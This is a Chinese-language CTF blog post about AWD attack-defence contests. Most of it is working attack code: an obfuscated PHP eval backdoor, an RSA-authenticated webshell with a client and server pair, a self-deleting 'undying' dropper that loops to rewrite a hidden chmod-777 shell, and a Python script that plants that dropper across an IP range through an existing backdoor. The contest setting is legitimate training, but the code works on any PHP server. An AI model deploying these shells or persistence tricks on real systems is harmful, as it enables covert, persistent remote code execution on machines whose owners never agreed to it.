从0到1掌握AWD攻防之RSA必杀
我怎么这么帅 CTF 13781浏览 · 2019-04-06 05:14

背景

最近在学习AWD线下比赛方法,对于萌新来说学习到了很多,也好好研究了一番,尤其是针对RSA非对称加密结合不死马,但是网上的文章对于RSA木马只有服务端的代码,没有客户端,并且如何利用并没有详细说明,所以在此研究分享给广大的WEB入门选手们,师傅们轻喷。

1.webshell分析学习

1.1前置知识

首先了解chmod命令的基本用法,方便快速更改网站的文件权限以及webshell的权限:
Linux/Unix 的文件调用权限分为三级 : 文件拥有者、群组、其他。利用 chmod 可以用来控制文件如何被他人所调用。

比如如上图所示,对应的第一位指的是该当前文件是否是目录,第一到第四位代表文件的拥有者,也就是创建该文件的人,比如我创建一个test文件夹,此时文件的拥有者将对文件有读写执行的权限,当前用户所在的组也对该文件夹有读写执行的权限,其他对其有读和执行的权限。

我们通过以下php代码测试如下所示:

<?php
system('whoami');
?>

当在浏览器中我们访问如下所示,显示当前用户权限为www-data

当我们以命令行运行shell1.php时,会如下图所示:

当我们以root身份运行时:

由上面三种情况可以看到,当运行此php文件的用户为谁,就会返回当前用户的身份。
而通常情况下,我们在本机测试时,apache服务器的html文件夹其他用户是没有写的权限的,只能够读和运行此文件夹中的文件。而通常在比赛中我们的html文件夹的所有者为www-data或者ctf,并且other用户可以通过shell在html下写文件。而在比赛中,我们通常要给我们的不死马写文件的权限。

1.2AWD中预置webshell分类

比赛中通常webshell分为代码执行和命令执行两种,比如最常见的就是以eval()函数assert()函数为首的代码执行函数或者以system()函数为首的命令执行函数。Awd模式下面,比赛主办方有时候会预留下后门,那么就分为以上两种一句话,或者是更为复杂一点的变种木马,可能需要我们静态分析,通过var_dump()函数分析出后门的使用方法。以下以代码执行后门为例加以说明,通常在比赛中我们也会遇到。

<?php
class Foo
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); 
        $b($c);
    }
    function Bar()
    {
        $__='a';
        $a1=$__; 
        $__++;$__++;$__++;$__++;
        $a2=$__; 
        $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
        $a3=$__++; 
        $a4=$__++; 
        $a5=$__; 
        $a=$a1.$a4.$a4.$a2.$a3.$a5; 
        return $a;
    }
}
function variable(){
    $_='A';
    $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
    $b1=$_++; 
    $b2=$_; 
    $_++;$_++;$_++;
    $b3=$_++; 
    $b4=$_; 
    $b='_'.$b2.$b1.$b3.$b4; 
    return $b;
}
$foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);

我们通过var_dump()函数很快就能拼接出最终的一句话后门assert($_POST[_POST]),拼接出来需要验证一下,如果执行成功后面就可以一把梭了,接下来就开始构造RSA木马

2.AWD中RSA不死木马进行权限维持

预留的后门很快就会被人删除,所以最好可以先利用预置后门拿一次flag,因为不管用户是什么权限读flag的权限还是足够的,此时如果是eval类型的后门,可以利用file_get_contents函数来读取flag,如果是system类型的后门可以利用cat来读取flag。当然网上也有文章讲用md5哈希身份验证+隐藏文件+不死马+打混淆流量来进行权限维持,以便于快速在其他队伍的服务器上种植木马,并且保证自己的木马不被别人使用。但是只要对手有足够的分析能力,总是能够通过窃听流量来利用我们在别人机器上种植的木马,有时候打得比我们自己还厉害。那么基于RSA非对称加密的木马非常有必要了,在比赛中也遇到过,但是网上分析RSA木马和构造自己的RSA木马的文章较为简略,因此有了下文:

2.1设计思想:

被攻击者,简称b,也就是其他队伍的服务器上有带公钥的后门,我们自己的服务器上有私钥,通过我们用私钥加密payload发送到后门,b端用公钥进行payload的解密,然后再将payload的执行结果返回,此时我们就可以美滋滋地获取flag。
我们利用openssl生成公私钥对:

公钥:

私钥:

有了私钥和公钥以后,我们就可以构造服务端木马以及客户端控制

2.2木马配置:

我们现在本地测试客户端与服务端,我们的目标是通过python脚本发送payload给我们自己服务器上的RSA客户端用私钥进行payload 的加密,然后再将返回的加密payload发送到对手的服务器上的RSA服务端,进行公钥解密再执行返回结果,这样即使对手能够看到公钥,但是没有私钥去加密payload就没有办法利用该RSA木马,下面贴出服务端和客户端的代码配置:
客户端代码:

<?php
class Rsa {
private static $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCrFxyAYGqDE9OR3CNPEjGpQDAcIcsc9ZG/2HPgzHsME8n45x1y
P75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6R24LZij0zixRz+mBU/xac+dJ
HIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry54iX4iJ1PVODtw/BZbQIDAQAB
AoGADC0A4kH6Uom+rMq12JK65gijY90jz1PKo5SL6puixiFCZmxMNC1FJZjzlE0p
j7YTm/rjBHCzK7gETpU2RMudUitgsXnwWD9BY2xfcJzukdDYCrgJCuqgGuZ+4D9J
sAWcWmGDpXXVnvROvJF6Yz4230DN754Af+B6vOsRsK+FhSECQQDZwv7iPnPcG9Pr
Ac8T+KMBex0XbEk4Lh4cRuQN224zkdVEkAsldWcWNBQuUeGXgseywz2xcO0GH238
zjc364gXAkEAySIabW3TR6f8kHTiqKo9pBO0y15LqAHGwQckXkfuibzCxM36pj/p
WVcRZy2WcFrnXjj3zXZecopRb9x/Jx9ZGwJBAJ/t+kwnGehZ97XtSiycuvrndGIz
gULle+/AkNUshy8Qt9T3BXipVOCVtwydzlT8E7ZSdgjPqwSIKLs2qI9FSFkCQEW3
8Ysu/4aeHzj/mzW11SoTvp6j7/urqfZtAFlB+9h4uta3Q4PvMXbLbHfkYHpPuFV7
z8HDnxd7BKGOv/CSuDMCQEAEJukly0GbEX8VZxFJ5/Ki3m2toGTD1CePObwW1DaS
dmNxKgsScUdcVw0WUVRL4KV4C2XLib6M9hjwqer0OQM=
-----END RSA PRIVATE KEY-----';

private static function getPrivateKey()
{
$privKey = self::$PRIVATE_KEY;
return openssl_pkey_get_private($privKey);
}

public static function privEncrypt($data = '')
{
if (!is_string($data)) {
return null;
}
return openssl_private_encrypt($data,$encrypted,self::getPrivateKey()) ? base64_encode($encrypted) : null;
}
}

$rsa = new Rsa();
$cmd = $_POST['cmd'];
$action = "enc";
if($action!==Null){
    if($action==="enc"){
        $privEncrypt = $rsa->privEncrypt($cmd);
        echo $privEncrypt;
    }
}

服务端代码:

<?php
class Rsa {
    private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
';
    private static function getPublicKey()
    {
        $publicKey = self::$PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }

    public static function publicDecrypt($encrypted = '')
    {
        if (!is_string($encrypted)) {
            return null;
        }
        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
    }
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);

本地测试exp:

import requests
import base64
url = "http://127.0.0.1//rsa_client.php"
payload = "system('whoami');"
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/rsa_server.php"
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)


由上图可以看到配置的服务端和客户端代码能够正常加密解密,接下来只要和不死马结合起来就可以了,贴上一个通用的批量种植木马框架:

import requests
import base64


def no_die(ip_start,ip_end,shell_addr,shell_pass):
    ips=open("keep_continue_ip_list.txt","w")
    filename="no_die.php"  #不死马的路径
    f= open(filename,'r')
    php = f.read()
    php = base64.b64encode(php.encode("ascii"))
    php = php.decode("ascii")
    url = ".".join(ip_start.split(".")[0:3])
    ip_start = int(ip_start.split(".")[-1])
    ip_end = int(ip_end.split(".")[-1])
    shell = shell_addr #主办方提供的后门地址
    passwd = shell_pass #后门密码
    data = {passwd:"file_put_contents(\".config.php\",base64_decode(\"" + php + "\"));"}
    for i in range(ip_start,ip_end):
        try:
            url1 = "http://"+url + "."+str(i) + shell
            print(url1)
            attack = requests.post(url=url1,data=data,timeout=1)
            if(attack.status_code == 200):
                url1 = "http://"+url + "."+ str(i) +"/.config.php"
                try:
                    requests.get(url=url1,timeout=0.1)
                except:
                    pass
                url1 = "http://"+url + "."+ str(i) +"/.config.php"
                active = requests.get(url=url1,timeout=1)
                if(active.status_code==200):
                    ips.write(url+"."+str(i)+"----"+"success")
                    ips.write("\n")
                else:
                    print("sorry the file is not exist!")
        except:
            print(url1+"-----error")
#no_die("192.168.0.2","192.168.0.254","/backdoor.php","c") 
#生成的不死马地址为http://x.x.x.x/.config.php
def use_rsa():
    url = "http://127.0.0.1/rsa_client.php"
    payload = "system('whoami');" #此处的payload可以任意更改
    res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
    enc = res.content
    url1 = "http://127.0.0.1/.rsa_server.php" #此处为不死马循环写入的RSA服务端,用来返回flag
    payload1 = enc
    res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)

其中不死马的内容如下:
no_die.php

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    $shell='<?php
class Rsa {private static $PUBLIC_KEY= "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
";
    private static function getPublicKey()
    {
        $publicKey = self::$PUBLIC_KEY;
        return openssl_pkey_get_public($publicKey);
    }

    public static function publicDecrypt($encrypted = "")
    {
        if (!is_string($encrypted)) {
            return null;
        }
        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
    }
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);'
    ;
    while(1){
    file_put_contents('.rsa_server.php',$shell);
    system('chmod 777 .rsa_server.php');
    }
?>
1 条评论
某人
表情
可输入 255